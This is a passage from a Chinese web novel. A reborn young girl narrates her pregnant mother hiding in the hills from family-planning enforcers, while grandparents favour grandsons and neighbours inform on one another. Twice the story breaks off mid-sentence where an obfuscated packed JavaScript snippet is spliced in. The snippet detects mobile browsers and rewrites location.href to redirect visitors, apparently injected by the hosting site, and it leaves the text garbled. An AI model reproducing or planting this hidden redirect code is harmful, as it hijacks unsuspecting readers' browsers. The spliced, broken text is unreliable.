“啧啧啧,真是没尾巴的人家户,生了一根草,拿来当宝。是是是,你家女儿宝贵,胎胎生女儿,好不好嘛!” 陆易宁深吸一口气,果然,和土皇子的母后大人吵架,不出两句她就要拿别人家没有生儿子的事做文章。 生不出儿子这种话,在陈英看来,对刘秀珍来说无锡是最大伤害的攻击。 正相反,于刘秀珍来说,不过是一句莫名其妙的废话。 不过废话听得多了了,也会气啊! “生女儿又怎么了?”每次有口角都要用这句话来骂人,实在骂不到别人的心坎里,刘秀珍瞅着两个小崽子,“你生的儿子好,你每天当着你两个儿子的面,那么对爸和妈,一代学一代,你不怕你以后你两个好儿子也会这样对你啊?” 这句话一下戳到陈英的心坎,“我怎么对他们了?我怎么对他们了?你说啊!” “你自己做过的事,你不清楚?” 陆易宁跳出来和稀泥,嘴巴跟机关枪一样,“奶奶说她请你上街给她买盐,你把钱收了,但是没买。奶奶还说,她没水吃,请大伯去帮她抬点水回家,你盯着大伯骂,害她没水喝。爷爷帮你家种土豆,帮你家挖土,结果你们中午偷偷跑回家吃饭,不叫他,就是不想让他在你家吃中午饭。爷爷托大伯帮忙卖玉米,五百斤的玉米,你家只给了他八十块,还有” “你乱讲!”陈英耍无赖耍到底,“你妈乱编乱说的鬼话你都信!” 刘秀珍没在怕的,“谁编这种话啊!你自己敢做你不敢认?有本事我们叫爸妈来作证,顺便喊村尾的大爷们也过来?” “他们家没做过。”高翠英特意在家门口听了半天,直到孙女将她说过的话全吐出来,才愿意出来调和。 说是调和,其实也在和稀泥。 她心里固执地认为,就算大儿子一家对自己做过糟心事,但是小儿子媳妇肚子里的孩子还没出生,是男是女还没定,以后养老,大概率还要要享老大家的福。 陆易宁两眼无神地盯着老太婆一拐一拐地走过来,她就知道会是这种情况。 “他们家没做过。”高翠英哭得眼泪哗哗掉,“是怪我和你爸老了,腿脚不好,不怪他家,怪我和你爸。” 刘秀珍和陆易宁同时摆出一副死鱼脸的表情。 你在前方替她冲锋陷阵,她在背后捅你刀子,大概就是这样了。 “陆安安,你以后别打哥哥了,乖!”高翠英假模假样地安慰孙女两句,立马转身,心疼地握住小孙子的手,“幺儿,打疼了没有,你以后别跟妹妹闹,妹妹下手不知轻重,万一下一次打到你别的地方,打到你的脸怎么办?” 陆易宁:“……” 刘秀珍:“……” “奶奶,你偏心!”陆易安冲着老太婆吼,刘秀珍没管她,吼完立马就跑去房间偷偷哭了。 高翠英才懒得搭理她。 “妈,不是我说你。”连续几个月没和高翠英说过话的陈英今天第一次主动搭话了,“你和我爸这几天太疼老二一家了,你家大孙女可不是要欺你孙子嘛。今天抢他铁环,明天就不知道要抢什么了?” 刘秀珍冷笑道:“你别给我在这瞎扯,是你家先欺负人的,仗着妈年纪大爱混事,你就能乱说有理了?” “哎哟,都别说了!”高翠英抬手为孙子擦掉眼泪水,回头剜了刘秀珍一眼,“你家陆安安是什么德行我又不是不知道,小小年纪,一天就知道白口白嘴的。” 心里已经结了的疤的地方被老太婆的一句话重新扎透,刘秀珍面无表情弯腰捡起陆易安掉在地上的陀螺,二话不说,拉着陆易宁回家。 陆易宁挣脱母亲的手,跑了出来,天真地望着陈英的脸,“大伯母,以后你两个儿子会给你生大量的孙子的。” 她着重加重“大量”两个字的发音。 高翠英转悲为喜,笑得合不拢嘴,“还是陆七七嘴巴甜,女孩子就要像你才对嘛。” 刘秀珍在屋里冷声,“陆七七!” 陆易宁蹦了两步跳回家。 大伯母以后当然是多孙的命,帮着儿子带六个孙子,两个孙女,又要帮他们付学费,又要照顾他们的生活起居。杀一头猪得骨头啃,卖了点地,卖了一头牛,钱全部被儿子逼着拿去给他们在街上建房子。 当然是多孙多劳的命。 16. 第十六章 陆易安是个记仇的人。 前几天家里炖了排骨,她还愿意端着排骨去老房子给爷爷奶奶吃。 有时候高翠英看不惯她闲着,会叫她去老房子,吩咐她做一些家务。陆易安也不觉得这有什么,毕竟在家也经常做。 自从高翠英拉了偏架,陆易安再也不搭理她和陆天松。 高翠英在老房子门口喊她的名字,她从不应声。 她才不去奶奶家里,一去就要帮她拧衣服扫地,明明大哥哥和二哥哥也在,他们就能当着她的面喝酸奶,而她帮完忙,只得了一个白馒头,难吃死了。 刘秀珍在门口晾衣服,老太婆的声音又开始响了。 陆易安在家里陪妹妹玩翻手绳,跟没听见一般。 刘秀珍走进来,“陆安安,你奶又喊你了,她说她刚炸了鸡蛋粑,叫你带着妹妹过去吃。” “陆一晨和陆一明肯定也在那,我不去。” “你已经几天没去奶奶家了,今天要去!”刘秀珍严肃地说:“不然你奶会说是我和你爸没教好你。” 翻来翻去,手上的毛线恢复成原样,陆易安耷着脑袋想了一会儿,想说什么,话到嘴边又收了回去。 陆易宁把陆易安手上的毛线抢过来,“我也不去。上次我和姐去她家,我姐扫地没扫干净被我奶骂了。我偷偷看见她喊陆一晨悄悄去另一个房间里,拿饼干给他吃。她看见我,还吼我,不许我说出来。” 刘秀珍的泪花一下子扑出来。 前段时间两个老人几乎天天喊大女儿去老房子吃好吃的,她想着让女儿和高翠英多待,跟她的关系近一点。到头来,人家只不过看她长大了,会做点家务,可以使唤了。 “你不是嘴巴凶得很嘛!”刘秀珍摩挲女儿的头发,将女儿抱在怀里,“下次碰见这种事,你告诉我啊。你奶要是喊你做事,你想做就做,不想做就回家。” “那你不是让我多跟奶奶亲近,怕她出去乱说嘛?” “我……”刘秀珍欲言又止。 陆易宁举手,“以后我帮你看着奶奶,她只要去别人家摆龙门阵,我跟着她去,她说什么我都记着。” 小丫头路还走不稳就急着当侦查员。 “你懂什么?”刘秀珍哭笑不得,“你现在不能出去,你要是出去,别人家该看见了。” 搬回来的时间长了,家附近的邻居们听见动静,也猜到了个大概,偶尔也会来串个门。 邻居们人好,知道陆易宁的存在,也明白这年头多生个孩子不容易,会帮忙瞒着,有时候看刘秀珍不能上街,也会在赶集的那天主动帮她买点吃的用的。 周边的人可以相信,刘秀珍怕的就是高翠英和陈英背后捅刀子。 老太婆的口风不严,虽然回来跟她的关系缓和一点,但也不可不防。 反正女儿八卦得很,最喜欢听墙角。 因此,她给了陆易安一个卧底村里情报组的光荣任务。 傍晚,土里忙活的人回来在路上指不定会说几句,高翠英经常在交叉的路口碰着村里的伙伴。陆易安这时就会等在路口,打着接奶奶回家的幌子听一些有的没的。 那些大人以为孩子听不懂,当着孩子的面东家长西家短,什么都说。 带着目标去听八卦,陆易安成功打听到的情报有村口最事儿的老李家,儿媳妇怀着孕回来了,不过最近一直住在村尾的大姑姐家,白天不轻易出门;吉长街街上,开花圈店的有钱人家超生被罚了两万多块;小学附近的有户人家被人举报,因为办事的人来没找到人,被牵走了一头牛,那些人说他家挖煤挣的钱多,狮子大开口,补交了八千多块才凑好;隔壁村,半夜三更的,有几个女人连忙跑到山上树林里,住了七八天,只有半夜才敢下山取点水喝;镇上有人贩毒被抓,建的大房子也被封了…… 搁以前,每当听见村长儿子吸毒贩毒被枪决,街上首富一家因为贩毒全部被抓这种劲爆新闻,刘秀珍都会扯着陆平说个半天。 但是现在,肚子里的孩子快要出生了,她实在顾不上这些,每天都在陆易安打听回来的八卦消息里忧虑。 陆平这段时间去工地上和别人建房子,甚至要借宿在街上的刘林家里,一个星期难得回趟家。 家中一个靠得住的人都没有。 打电话给赵倩算是刘秀珍唯一的心理慰藉。 * 尽管知道爷爷奶奶偏心,陆易安还是听从母亲的话,去了爷爷奶奶家。 陆易安重拾自己的本职工作,高翠英去地里时,她会在人多的路口等她回来。闲下来的时间,她也会跟着高翠英去串门。 今天下午去的是高翠英的一个死党家里,住在村口的老李头家。 高翠英去村口的地里摘菜,陆易安也屁颠屁颠跟着去。 老李头的老婆,张老太在家门口和高翠英隔着一条大马路也要摆龙门阵。 摘完菜后,高翠英干脆就走到人家门口,坐着和人家聊天。 赶集的老太太老大爷回来了,在路边凑了两句,也加入了这个圈子。 原本是两个老太太的八卦阵,一个小时内拓宽成了正六边形。 你来我往,一点也不闲着。 陆易安蹲在墙边搓菜根上的泥,高翠英看见散掉在地上的菜叶,还以为她在撕菜玩,不由分说就推了她的头一掌,手心上的泥全印在她的脑门上,“你个害天理的赔钱货,这是粮食,是拿给你玩的吗?” 陆易安揉了揉脑袋,以前没受过的委屈短短一个多月,在爷爷奶奶这里全受了。 即便如此,心能忍,但嘴巴绝对不忍。 “我玩的是泥巴,又不是菜叶子,你打我做浪子?” 陆易安大吼。 围坐着的几个大人很难不注意到她,“你小儿子家的姑娘?” 高翠英点头,“是咯,除了他家那个婆娘没出息以外,哪家的会生女儿?” “第几个?”有个中年妇女故意问道。 高翠英看着陆易安,假笑堆了一脸,“第一个咯,你这话说的,能有几个?” “我还以为是第二个呢。”女人意味深长地笑道:“我听人说,他家第二个女儿年纪小是小,嘴巴凶得很,很会说。过段时间,第三个可能更会说。” 高翠英的脸色变得极其难看,呸地一声,“谁说的?还第三个,就这一个。” 张老太见状,怕火势不大,连忙往里倒油,“还谁说的,你家大儿媳天天在我们这讲,谁不知道啊?” 中年女人扯着陆易安的小脸蛋问:“你妈妈是不是又要给你生个小弟弟了?” 陆易安打开她的手,顺着墙面站起来,“关你屁事!我家就我一个!” 说完,气嘟嘟地走了。 “你们别乱说!”高翠英也没了摆龙门阵的心思,连忙抱着菜走了。 现在小儿媳妇的肚子里是男是女还不知道,她指定要帮忙护着。 抱着菜回家,路过大儿媳妇家,看见正在喂牛的大儿媳妇,高翠英本想骂她两句来着,但是想着两人这段时间的关系刚缓和,最终不过站在马路上提醒道:“你以后别张着一张嘴乱说,别人听见了,不知道会传到哪去。” 陈英用镰刀割了一捆草扔到黄牛跟前,死不认账,“我说什么了?” “你说什么你自己清楚。老二天天出去忙,她没惹你,你就不要害她了嘛!” “嘴巴长我身上,我就算要说什么,你管得着吗?”陈英不觉得自己做错了什么,继续喂牛。 陆易安将自己在村口听到的对话全部转述给刘秀珍听,刘秀珍听完,听见陈英路过家门口的脚步声,一股气冒上来,差点冲出门和她对峙。 转念一想,刘秀珍慢慢松开握 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438374|169308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 紧门把手的手。 村里这段时间经常有人来查。如果一气之下和陈英吵架,她的那张大嘴巴指定要在家门口大吼大叫。现在只有部分人知道,经此一闹,指不定全村都知道了。 * 住在马路对面的邻居马金凤赶集回来,家都没回就来敲陆家的门。 刘秀珍一开门,微胖的女人气喘吁吁地进来,“幺妹,你今天晚上最好还是出去躲一躲。” 陆易宁关掉电视机,还是来了吗? 刘秀珍的心脏一紧,“姐,抓计划的人晚上又要来吗?” “我在街上听了一个口风,很可能会来。”马金凤放下背上的箩筐,“你让我给你买的盐和酱油我都买了。” 听到马金凤说村口的张老太婆和一群人在家门口聊她要生三胎的消息时,刘秀珍的心终于死了。 张老太婆的一张嘴是村里出了名的,别人就算知道了,大概率就是私底下悄悄说。 那群人不来还好,一旦来了,那个老太婆是真的会带着他们上别人家抓人的。 半个月前,村尾有个女的被带着去流产上环就是张老太婆领着人去抓的。 明明她的小儿媳也悄悄躲着,她为什么还爱到处生事。 刘秀珍二话不说,开始收拾行李。 家后面的竹林太小,不适合躲藏。现在天还大亮,大摇大摆地在村里找藏的地方相当于把行踪告诉给村里的人。 * 陆易安只知道母亲从两个小时以前就闷闷不乐的,煮了鸡蛋也不想吃。 她干脆守在家旁边的大马路上,等陆天松赶集回来给她和妈妈带好吃的。 陆天松的身影终于出现在马路口,陆易安等了七八分钟,他慢慢地走了过来。 “爷爷,你给我买小笼包和饼干了吗?” “卖小笼包的死了!卖饼干的没来!” 又是这个说法。 自从爷爷的腿好了,能上街了,卖糖的,卖包子的,卖零食的就没一个能活的。 陆天松走到家门口,转了个身,背着布包去了陆远家里。 正在写作业的两个孙子,两只手各拿了一个肉包子。陆一晨站在门口吃得美滋滋的,顺带还朝着陆易安吐舌头。 陆易宁推开门,碰巧撞见这一幕。 原来以前脑海中有关爷爷奶奶偏心,朦胧的记忆实际呈现出来,是这样的。 陈英在家里敞开了声音对小儿子说:“快进来喝爷爷买的饮料,是你喜欢的橙子味的。” “好吃不好吃?”陆天松亲呢地抚摸大孙子的头。 陆一明点头,“好吃!” 陆天松露出从未对孙女展现过的慈祥笑容,“好吃多吃,爷爷买得多,还有呢。” 陆天松佝着身子从大儿子家里出来,看见站在院坝里盯着他看的两个孙女,从包里拿了一个包子出来给陆易安,“拿去和妹妹分着吃。” 包子外面套着个塑料袋,陆易宁清楚地看见包子皮外面渗出来的芝麻糖。 陆易安接过包子,对着家门口扔过去。 包子砸在门框上,滚落到陆易宁的脚边。 “我才不要!”陆易安又气又委屈,“我爸爸明明给你钱了,让你上街的时候买点吃的给我家,你为什么要拿我爸爸的钱买东西给他们吃?我要告诉我爸爸,让他别给你钱了!” “白口白舌的,你又乱讲话!”陆天松挖了陆易安的脑门一手指头,“你爸什么时候给我钱了?你不吃,你妹妹吃!” 陆天松转头喊陆易宁将地上的包子捡来吃了。 陆易宁蹲下去,捡起来。 说实话,她很想将包子对着老家伙的脑袋砸过去。但是又怕把他惹气了,他在家门口对老妈进行各种咒骂,到时候老妈连想出门躲也不行! 算了,忍一忍,正好当晚上的夜宵了。 17. 第十七章 天气越来越热,天暗得越来晚。 幸运的是雨水期已经过去,这几日皆是阳光明媚的好天气。 天还没有黑,陆平住在村口的朋友出门,看见远处的山路上来了几辆摩托车,二话不说就跑到陆家通风报信。 刘秀珍用围裙包着几个煮熟的鸡蛋,拿上手电,准备出门。 陆易安躲在家,陆易宁则是跟着刘秀珍跑路。 一是晚上山里凉,阴风阵阵的,她不放心母亲一个人去。 二是她是老二,即使该交的罚款交了,该出的证明也出了,别人若是不认,还是要被重新罚一次。 街上有户人家的老二就是这个情况,本来已经罚过款了,生了第三胎,又被重新罚了一遍。 没有钱,这种事谁敢去赌? 刘秀珍在外面套了一件陆平的宽松外套,离开家前,特意嘱咐陆易宁,“七七,路上不要说话,我们悄悄地走。如果听见狗叫声,不要怕不要哭,有妈妈在,它不会咬人的。” 陆易宁则是点头,手里提着一壶水,跟在母亲身后。 路两旁的树荫揉碎了月光,稀稀疏疏地洒落在泥地上。晚风拂过竹林,沙沙作响,拍在脸上,清爽舒适。 陆易宁没有时间感受清风拂脸的舒爽,刘秀珍走得快,被她牵着,陆易宁几乎是小跑才勉强跟上她的脚步。 母女俩的喘气声在月光下此起彼伏,走了一小段下坡路,刘秀珍回头垂眸看了女儿一眼,她的两只小腿就像是在蹬小车一样,快速地换着踩。 刘秀珍于心不忍,蹲下来,想抱着她走一段路。 陆易宁摇头,自己能走。 这个时候,村尾的人家有的刚吃完晚饭,许多家的灯是开着的。 刘秀珍特意关掉手电筒。 村里的狗尽职尽责,在看家护院这方面精得要死。白天还好说,只要天一黑,看见路上有人走,非得冲出门追着人咬不可。 “汪汪汪!” 凶狠的狗叫声还是传来,刘秀珍和陆易宁顾不上,撒开腿顺着大马路跑,没时间听狗叫声来判断他跑来的方向。 一狗叫,十狗出。四处都在狗吠,仿佛村尾所有的狗都跑出来了。 陆易宁心里很慌,刘秀珍手里握着一根细竹竿,放慢了步子,警惕地环视四周,“七七别怕,它们不会咬人的。” 这话明显是假的。 陆易宁一回头,趁着微弱的光,距离她身后五十米的地方,三只大狗齐头并进,后面还跟着几只小的。 “妈,狗追上来了!” 发现情况先叫妈。 “死狗,叫什么叫?” 身后的狗跑了没一会儿,一道呵斥声在狗群中散开,狗叫声被一个拿着锄头的男人压下来,路上的一群狗被一个微胖的中年男人吓到,叫嚷两声,各自跑回家。 附近的村民闻声出门看,只看见男人追着一群狗跑。 “大华,出什么事了?”一个老头子拉着门框望着马路的方向问。 中年男人扛着锄头,微喘着气儿敞开声回他,“我刚从地里回来,在路上抽根烟,被狗看见了,咬我呢。” 这样啊! 出来看戏的人各自回去。 男人就住在路边的平房里,一回到家,妻子就问:“走了吧?” 男人点头,叹了叹气,“往山坡的方向走了。我看她手上除了牵着一个小的,就拿着一拐棍,什么也没带,唉!” 女人洗完脚,坐在板凳上想了一会儿,终究是放不下心。 当初她儿子一个人去广东无依无靠的,靠陆平接济了几个月才在广东稳当下来。 现在陆平不在家,眼睁睁看着母女二人大晚上跑到山里过夜,她过意不去。 男人将火炉上的水提下来,妻子火急火燎地去隔壁的瓦房里抬来一盆土豆。 “你要做什么?” 女人动作快,三下五除二就在门口把土豆清洗干净,“我今天赶集回来,在村口听了一嘴,这几天可能每天都要来查。我怕她们母女俩在山坡里没吃的,煮点土豆带过去。” 男人没什么说的,只是帮着往锅里倒水,顺便拿了几个鸭蛋和鹅蛋放进去。 * 家里稍微值点钱的家具全被搬到马金凤家里,包括陆易安。 不出所料,今夜的张老太婆也是一个热心肠,亲自带着检查的人登上了陆家的门。 高翠英和陆天松闻声,迅速赶来帮忙开门,结果一到小儿子家门口,人家早已破门而入。 屋里火炉里的煤还红着,但是没有一个人。 为首的人站在院坝里,余下的人则在竹林里到处找。 陆天松鼓足气问:“你们有什么事儿吗?” “这是你小儿子家?”为首的人戴着眼镜,四五十岁,头顶微秃,瘦瘦高高的,面上看起来斯斯文文,说话就不是了,一出气拽得二五八万的,粗声粗气,跟个鬼一样。 陆天松点头。 “你儿子呢?还有她婆娘呢?” “我儿子去工地上做工,几天都回不来一趟,儿媳妇娘家有事,回去了。” “是吗?”男人已经没有什么耐心,大吼道:“你大儿子一家说她怀着孕在家里坐着呢,是不是你们藏着了?” 高翠英黑沉着脸盯着陈英和老闺蜜张老太瞅。 陈英倒是无所谓,张老太嬉皮笑脸地冲高翠英说:“你小儿子的婆娘没出息,我这不是帮你吗?” 一群人去老房子检查了一圈,包括后山,都没查出什么来。 陈英见状,抓紧拱火,指着马路对面的房子说:“说不准在对面呢?我之前还看见他家大女儿跑到马路对面去了。而且,那户人家平日里跟他家好得很,做了什么好吃的,” 在她把一切关键信息说出来时,为首的人看向马路对面。 陆远总算找到时间凶了陈英一句,“你是在做哪样?人家惹你了?” 陈英耸肩道:“你管我!” 马金凤将门掀开一条缝,一家人在门后听马路对面的动静,听到陈英提到自己,胸腔里生出一股闷气,用力地把门关上。 “你陆大爷家都是什么人啊?”马金凤瞪了她男人陆大军一眼,“赶紧把陆安安带到猪圈旁边的草堆里躲着。” 陆易安跟着二伯轻手轻脚地从后门出去,总算在一批人马抵达之前,藏好了。 陆一明和陈英站在马路上看热闹,故意说:“妈,我们平常躲猫猫,最喜欢躲在二叔家猪圈旁边的草垛里。” 选择性耳聋的张老太选择性地听了这句话。 抓计划的人没找到人,老家伙成功在草堆底下找到了陆易安。 陆易安看见老太婆慈眉善目的一张笑脸,第一时间朝她脸上吐了一口口水。 一群人被喊了上来,老太婆擦掉脸上的口水,邀功似地说:“我就说嘛,她肯定躲在这,他家的这个死孩子,嘴巴凶,头脑也凶。” 男人盯着陆易安,眼神仿佛要吃人一般,“你妈呢?你躲在这做什么?” 陆易安丝毫不惧,王铁军那张鬼脸她都不怕,何况是这个披着人皮的人呢。 “我妈回外婆家了,我在这玩躲猫猫。” “玩躲猫猫?”男人推了推眼镜,两手叉腰,一脚踢开挡在陆易安身前的杂草,“你大晚上在这玩躲猫猫?” 草沫子差点飞进陆易安眼睛里,陆易安挡着眼睛,被男人的吼声凶哭了。 “我就玩躲猫猫怎么了?”陆易安擦掉眼泪,食指指向张老太婆,“我就跟她孙子玩躲猫猫怎么了?待会还要去村尾李树敏家里找她儿媳妇玩,跟她还没出生的小孙子玩,你管我!” 陆易安平常听的八卦最多,张老太太以为儿媳妇的藏身之处只告诉了老闺蜜高翠英一个人,殊不知当时的陆易安蹲在高翠英旁边给她扯身上的线头,全听进去了。 张老太婆以为儿媳妇藏得深,所以在村里无法无天,谁家要生小孩了,她都要告状。 马金凤本来想开口帮忙说几句话的,这下好了,有陆家的大女儿那张嘴,她压根无需出场。 “张老奶天天在村里跟个警探一样,谁家有事她都要出马。”马金凤偏着头低声和丈夫吐槽,“这下好了,落她头上了。” 张老太婆跟被喂了屎一般,脸色极其难看,伸长手要去打陆易安,“我打死你个短命东西,你乱说!” 陆易安急忙跑到眼镜男的身后,“我说的都是真的,你天天跟我奶奶说你儿媳妇在你女儿家吃好的用好的,这次一定会生小孙子的事我都听着了。” 终于,在陆易安的诚实下,一群人转了焦点,去了村尾。 * 爬了半个多小时,刘秀珍和陆易宁找了一块比较偏的地方。这里位于半山腰,还能看见村尾的几户人家的灯亮着。 好不容易能歇口气,一阵狗吠声传来,陆易宁可以清楚地看见村尾的马路上有几辆摩托车驶过。 是追过来了吗? 刘秀珍二话不说,拉着陆易宁的手继续沿着山路爬,爬进一块玉米地里躲着。 又是一阵狗吠声,刘秀珍藏在玉米地里,看不清山坡下具体发生了什么事,但是看清了自己所在地势的下方百米处也有手电在晃悠。 刘秀珍心跳到嗓子眼,铁了心往上爬,往偏僻荒凉的地方去。 陆易宁几年间最大的运动量就是今夜了,累得要死,在爬土坡时手脚并用,面前早就被泥土成了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438375|169308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黄棕色。 老一辈人说起这段往事总是挂出一副心酸的表情。第一世她对小时候的事没印象,第二世没经历过,这一世亲身经历了。 搞的就是心惊胆战。 他大爷的,不仅心酸,还心累。 怪不得以后大部分年轻人不想结婚生孩子,这年头的胎教果真深入人心。 陆易宁一边爬一边在心里吐槽,各方的祖宗十八代全问候了一个遍。 望着眼前高过自己的土坎,陆易宁举起手踮着脚都够不着,爬了无数次,每一次才到半腰就顺着土坎滑下来,衣服里全是土,嘴巴里也是。 刘秀珍在前方十来米远的地方找到了一处较好的荒地,回来接女儿时,女儿正在和土坎做斗争。 来来回回爬了很多次都没怕上来,她也不哭,就这样拼了命地往上爬。 小脸上脏兮兮的,全是泥面子。下半截土坎被她的身体磨得平滑。 陆易宁抬起头,母亲在月光下擦掉眼泪,哽咽着拉她上去。 她差点忘了,哪怕她现在是成人心性,在母亲眼中,她就是个还没到三岁的小孩。 刘秀珍抱着她道歉,泪水从眼睛里冲出来,在泥脸上画出两道清晰的泪痕,陆易宁替母亲擦掉眼泪,小声说:“我没摔倒,不疼。” 刘秀珍哪受得了她的安慰,哭得浑身发抖。 恍惚间,一道亮光照过来,母女俩同时屏住呼吸。 “小刘,是你们在那吗?” 是一个女人的声音。 陆易宁赶紧擦掉眼泪,她差点忘了,母亲以前说过躲进山坡上的事,那时候村里有个心好的阿姨看不过去,特意陪她们在山里住了好几天。 刘秀珍眨了眨眼睛,看向光源处。 下方的玉米地里走来一个人,个子不高,人很瘦,穿着一双解放鞋,一身花布衣服,拿着手电,背上背了一个蓝色的牛仔单肩布包。 陆易宁说:“妈,好像是住在路边的嬢嬢。” 女人听见声音,连忙往声源处走,累得大口大口喘气,“我是来陪你们的,山里晚上不安全,你带个孩子不方便。” 七上八下的心在这一刻被女人的一句简短的话抚平。 女人爬上来,和母女二人坐在一块歇气。 刘秀珍想了半天,说实话,她好像跟这个人不怎么熟。 结婚和陆易安满月的时候她来家里帮过忙,但是她也没和她说过几句话。 刘秀珍背靠着土坎,由衷感谢:“谢谢你啊顺枝姐,说真的,我心里现在还怕着呢?” “这算什么,看在你是我本家的份上,我也不好看你们母女大晚上到处藏啊。”刘顺枝将身后的布包放到膝盖上,“饿不饿啊?我给你带了一点鸡蛋鸭蛋还有煮熟的土豆。” “谢谢姐。”刘秀珍拿了一个土豆,给陆易宁拿一个还热乎的鸡蛋,“其实我也带了几个,只是一直没时间吃。” 陆易宁从衣服里拿了一个糖包子出来,递给她,包子外面裹了一个塑料袋,没有被泥土染到,“这是我爷今天赶集,带回来给我姐的,她不吃,我带过来了。” “我不喜欢吃糖包子,我喜欢吃肉的。”陆易宁又说。 刘秀珍知道二女儿确实不喜欢吃糖包子,反倒是自己馋。 刘顺枝欣赏地看向陆易宁,“你看你家这孩子还心疼她妈呢。” “她一直是这样的,懂事得很。”刘秀珍将糖包子一分为二,给刘顺枝,刘顺枝不吃,又给陆易宁,陆易宁也不吃。 “一路上,被狗追,爬那么多道坎,硬是没坑一声。”想到刚才女儿爬坡的样子,刘秀珍就忍不住眼泛泪花。 “那几条狗最凶了!”刘顺枝将包里的毯子拿出来给刘秀珍盖上,“只要天一黑,谁在路上走它们都要出来咬!我本来是想早点来找你们的,但是我看见抓计划的来了,等他们走了,才敢放心出来。” 刘秀珍:“刚才狗叫是因为那些人来村尾了?” “是啊!”刘顺枝恨不得赶紧将八卦告诉刘秀珍,“村口李老头家的那个婆娘,你认得不?” 刘秀珍点头,“不是张大妈吗?” “对,就是她。”刘顺枝痛快地笑了几声,“她儿媳妇躲在她大女儿家养胎。她倒好,天天带着人家上别人家去抓人。好了,今天晚上被人逼着带到大女儿家了,她儿媳妇昨晚才生的孩子,今天就被带走了。” 刘秀珍惊得合不拢嘴,“谁告的状?” 刘顺枝摇头,“不知道啊,我们住在附近的也是今晚才知道。” 李家儿媳躲在村尾的事除了张老太婆以及她女儿一家,就高翠英和陆易安知道。 刘秀珍咬了一口土豆,若有所思地咀嚼着…… 18. 第十八章 几人在山里住了三天。 白天,刘顺枝会下山,在村里打听一下情况,顺便做好饭菜带上山。 得益于刘顺枝的帮忙,刘秀珍这几日过得稍微心安一点。 第三天,陆平从工地上回来,才将母女二人接了回去。 回到家时,家里的门已经换成了新的木门,还没有上漆,陆易安已经拿着铅笔在上面画了一些乱七八糟的线条。 家里的茶几被砸碎了,只剩一个底盘放在墙角,锅碗瓢盆有很多被砸出了凹陷。 陆易宁见状,沉默不语。 顺利的话,以后这群人中会有不少人拿着堪比两个年轻人工资的退休金,喂鸟,跳舞,遛狗,旅游,散步,过着优哉游哉的退休养老生活。 真是有活力的一代呢。 * 上次搜查结束,陆远和高翠英心平气和地跟陈英做了一阵嘴上功夫,陈英老实了不少。 计生办的人出来的时间估摸不定,刘秀珍心里七上八下的,一个月内,出去躲了四五次,才勉强等到孩子出生。 眼下的情况,孩子出生是不可能去医院的。陆平提着礼去村尾拜托了一圈,找了两个经验丰富的老妈子来帮忙。 天已经黑了,陆易宁和父亲坐在门坎上,听见里屋的动静,父女俩同时抹眼泪。 “不生了,以后再也不生了!”陆平一面哭一面用袖子擦眼泪。 马金凤过来看两眼,碰巧看见父女二人堵在门边,眼泪哭成四车道的。 马金凤唉了一声,将父女俩扒开,大喇喇地走进去,“哎哟,她又不是没生过,在这哭哭哭,哭什么?再哭别人家都知道了。” 八点二十六,刘秀珍成功生了一个女孩。 高翠英和陆天松看老妈子给孩子清洗时,没有他们想见的东西,二话不说就从小儿子家里出来,站在院坝里冲屋里骂道:“死出息!这种东西生来做什么?痛死算了!” “妈,你怎么能这样说?”陆平擦掉眼泪,没顾得上去看女儿,先被父母气着了。 “那你妈生你出来干嘛?”陆易宁恶狠狠地瞪着老太婆。 高翠英的巴掌就要落下时,陆平连忙将女儿抱进家,立马将门关上。 没人鸟自己,老两口在门口咒骂两句,回到老房子,又开始骂小儿子和小儿媳妇。 陆远从弟弟家里出来,陈英急忙迎上去,看戏似地问:“是女儿吧?” 陆远没有说话。 陈英高兴地扭着屁股回家,看见在玩弹珠的两个儿子,更骄傲自豪了。 陆易宁在刘秀珍的床前守了很久,母亲的身体情况还不错,抱着妹妹时,还有力气跟来帮忙的两位老太太说笑。 忙完一切后,陆平亲自送两位老人回去。 马金凤自愿留下来帮忙看着陆家的两个小孩和刘秀珍。 “你家这孩子,长得真健康。”昏暗的灯光下,马金凤坐在床边,盯着刘秀珍怀里的孩子看了半天,“你说是不是光线暗了,所以有点黑呀?” 陆易宁站在母亲身旁,马金凤脸上别扭的小表情她看得真真的,金凤婶婶已经在用力找补了。 襁褓中的孩子闭着眼,脸黑红黑红的,皱巴巴的,一小只,躺在母亲的怀里,哭了两声就没哭了。 陆易宁摇了摇头,这就是她那位废物不如,除了可爱一无是处,现在连可爱都看不出来一星半点的笨蛋扁头妹妹吗? 这孩子若要长成印象中的模样,七十二变恐怕都没她会变,需要拜的老师要比菩提祖师厉害成什么样啊! 刘秀珍也纳闷,“确实黑,我和她爸爸也不黑呀!” 陆易安凑近看了一眼,傻里傻气地问:“妈妈,你是不是把妹妹放柴火堆上当腊肉熏了啊?” 几人同时被陆易安的一句话逗得哈哈笑,陆易宁笑完问:“小孩子一般多久会长开呢?” “咦?七七居然还知道长开?”马金凤说:“三四个月就好看了。” 刘秀珍看着怀里的孩子,欣喜中又有点嫌弃。 这孩子确实是她几个女儿中,生出来时长相最令人堪忧的。 * 陆平送完两个老人回来,想着家里的鸡蛋不多,顺路回了老屋一趟。 他到老房子时,两位老人刚骂完人,正是中途休息的时候。 在父母面前,陆平一向是缺根筋的。两位老人离开自己家时还在骂自己媳妇,现在他就能当一切都没发生过来买鸡蛋。 